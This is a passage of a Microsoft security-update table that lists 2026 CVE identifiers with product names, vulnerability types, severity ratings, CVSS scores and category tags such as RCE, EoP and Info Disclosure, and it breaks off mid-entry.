RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege 